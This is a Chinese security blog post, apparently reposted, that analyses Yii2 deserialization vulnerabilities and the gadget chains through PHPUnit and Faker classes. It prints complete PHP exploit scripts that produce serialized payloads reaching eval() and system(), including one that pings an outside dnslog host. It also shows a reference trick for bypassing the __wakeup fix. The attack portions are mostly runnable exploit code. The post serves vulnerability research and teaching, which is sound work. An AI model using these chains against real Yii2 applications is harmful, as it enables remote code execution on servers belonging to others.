YII 2 反序列化挖掘与分析

admin 2025年4月10日21:45:34评论5 views字数 4879阅读16分15秒阅读模式

环境部署

选择 basic 包,

YII 2 反序列化挖掘与分析

定位到 config/web.php 中将 cookieValidationKey 的值改为 demo,然后访问/web/index.php。

在文件 controllersSiteController.php 中的 actionIndex 方法添加反序列化入口,

YII 2 反序列化挖掘与分析

反序列化一、

版本限制:<=2.0.39

漏洞分析

反序列化起点在 SebastianBergmannRecursionContextContext 类的 __destruct() 方法,这里做了个循环的调用。属性 arrays 可控,如果给 arrays 赋值一个继承了 IteratorAggregate 类的类,在遍历该类时会调用该类的 getIterator() 方法获取迭代器,然后再遍历它。

YII 2 反序列化挖掘与分析

简单找了一下,发现 PHPUnitFrameworkTestSuite 类中的 getIterator() 方法有点可疑,看到如果属性 $iteratorFilter 赋值为类可以调用任意类的 __call() 魔术方法,所愿发现 $iteratorFilter 确实是可控的,

YII 2 反序列化挖掘与分析

至于 __call() 魔术方法就可以参考下以前的链子了,来到 FakerGenerator 类的 __call(),跟进 format()

YII 2 反序列化挖掘与分析

看到这里存在回调, $arguments 没法控制,但是 getFormatter() 返回值可以控制,所以这里打算通过回调调用任意类方法,

YII 2 反序列化挖掘与分析

这里有两个参数回调的方法无参有参都行,有很多可以选择,这里随便选一个。定位到 PHPUnitFrameworkMockObjectMockClass#generate() ,看到直接调用了 eval 方法,并且 $classCode 可控,到此链子就算是通了,

YII 2 反序列化挖掘与分析

exp 编写

<?php  namespace PHPUnitFrameworkMockObject{      final class MockClass{          public $mockName;          public $classCode;          public function  __construct()          {              $this->mockName = "MockClass";              $this->classCode = "phpinfo();";          }      }  }  namespace PHPUnitFramework {      class TestSuite      {          public $iteratorFilter;      }  }  namespace Faker{  use PHPUnitFrameworkMockObjectMockClass;      class Generator{          public $formatters;          public $aaa;          public function __construct() {              $this->formatters['factory'] = [new MockClass(), 'generate'];          }      }  }  namespace SebastianBergmannRecursionContext{      final class Context      {          public $arrays;      }      $a = new Context();      $a->arrays = new PHPUnitFrameworkTestSuite();      $a->arrays->iteratorFilter = new FakerGenerator();      echo base64_encode(serialize($a));  }

exp 验证

YII 2 反序列化挖掘与分析

漏洞修复

2.0.39 后的版本中在 FakerGenerator() 中添加了 __wakeup() 方法把 $formatters 属性进行了置空,

YII 2 反序列化挖掘与分析

这样 getFormatter() 返回值就变得不可控了,

YII 2 反序列化挖掘与分析

其实这里的 wakeup()可以通过引用来进行绕过,也就是把 $formatters 和另一个类的属性进行绑定,然后后续操作这个类的属性赋值也就会给 $formatters 赋上值,不过需要在 Generator()::__wakeup() 后进行赋值,而反序列化时是先从属性进行反序列化。

给个简单的例子:

<?phpclass KeyPort{    public $key;    public function __destruct()    {        $this->key=False;        if(){            echo "You get it!";        }    }    public function __wakeup(){        $this->wakeup=True;    }}if(isset($_POST['pop'])){    unserialize($_POST['pop']);}

poc,最后得到的 $wakeup 就是 false,

$a=new KeyPort();$a->wakeup=&$a->key;echo serialize($a);

然后我又找了一下一些存在赋值的操作的 __wakeup 和 __destruct,其中发现一个,对 $safeMap 属性进行了赋值,

YII 2 反序列化挖掘与分析

但是这里 $safeMapShare 是静态属性,不能被序列化和反序列化自然也就没法赋值了,不过还是想验证一下上面的操作是否可以绕过 wakeup 的置空,把静态属性改为正常属性试试

YII 2 反序列化挖掘与分析

exp

<?php  namespace PHPUnitFrameworkMockObject{      final class MockClass{          public $mockName;          public $classCode;          public function  __construct()          {              $this->mockName = "MockClass";              $this->classCode = "phpinfo();";          }      }  }  namespace PHPUnitFramework {      class TestSuite      {          public $iteratorFilter;      }  }  namespace Faker{      use yiirestCreateAction;      class Generator{          public $formatters;          public $a;          public function __construct($obj) {              $this->formatters= &$obj->safeMap;          }      }  }  namespace {      use PHPUnitFrameworkMockObjectMockClass;      class Swift_Encoder_QpEncoder{          public $safeMapShare;          public $safeMap;          public function __construct() {              $this->safeMapShare['Swift_Encoder_QpEncoder']=['factory'=>[new MockClass(), 'generate']];          }      }  }  namespace SebastianBergmannRecursionContext{      final class Context      {          public $arrays;          public $a;      }      $a = new Context();      $a->arrays = new PHPUnitFrameworkTestSuite();      $c=new Swift_Encoder_QpEncoder();      $a->a =$c;      $a->arrays->iteratorFilter = new FakerGenerator($c);      echo base64_encode(serialize($a));  }

传入 poc,会先调用到 Generator 的 wakeup 魔术方法进行属性置空,

YII 2 反序列化挖掘与分析

接着来到 Swift_Encoder_QpEncoder 类的 wakeup 魔术方法对 $safeMap 赋值,

YII 2 反序列化挖掘与分析

由于绑定了 $safeMap 和 $formatters,赋值后 $formatters 也有值了,

YII 2 反序列化挖掘与分析

最后也能成功命令执行,

YII 2 反序列化挖掘与分析

当然实际上我还并没有找到直接可以赋值的 __wakeup 或者 __destruct 方法,再或者在 Generator#__wakeup() 进行的类属性赋值操作。

分序列化二、

版本限制:<=2.0.45

漏洞分析

就是换了个 __call 方法,来到 vendor/fakerphp/faker/src/Faker/ValidGenerator.php 的 __call() 方法,

YII 2 反序列化挖掘与分析

两个回调函数,最终利用点在第二个,$this->validator 可控,需要控制 $res

call_user_func($this->validator, $res)

可以利用vendor/fakerphp/faker/src/Faker/DefaultGenerator.php中的__call()方法返回自定义值

YII 2 反序列化挖掘与分析

参考:https://xz.aliyun.com/news/8919

exp 编写

<?php  namespace Faker{      class DefaultGenerator{          protected $default ;          function __construct($argv)          {              $this->default = $argv;          }      }      class ValidGenerator{          protected $generator;          protected $validator;          protected $maxRetries;          function __construct($command,$argv)          {              $this->generator = new DefaultGenerator($argv);              $this->validator = $command;              $this->maxRetries = 99999999;          }      }  }  namespace PHPUnitFramework {      class TestSuite      {          public $iteratorFilter;      }  }  namespace SebastianBergmannRecursionContext{      final class Context      {          public $arrays;      }      $a = new Context();      $a->arrays = new PHPUnitFrameworkTestSuite();      $a->arrays->iteratorFilter = new FakerValidGenerator("system","ping 3c9df2b0.log.dnslog.sbs.");      echo base64_encode(serialize($a));  }

exp 验证,

YII 2 反序列化挖掘与分析
来源:【https://xz.aliyun.com/news/17437?time__1311=eqUxn7DQG%3D5WT40vj7DuBDRm5UtYvjAxx&u_atoken=30b8f281cc2eef61b0a3cfaa8d5254a9&u_asig=0a472f9117435221515893238e0033】,感谢【1174735059082055

原文始发于微信公众号(船山信安):YII 2 反序列化挖掘与分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月10日21:45:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   YII 2 反序列化挖掘与分析https://cn-sec.com/archives/3909176.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息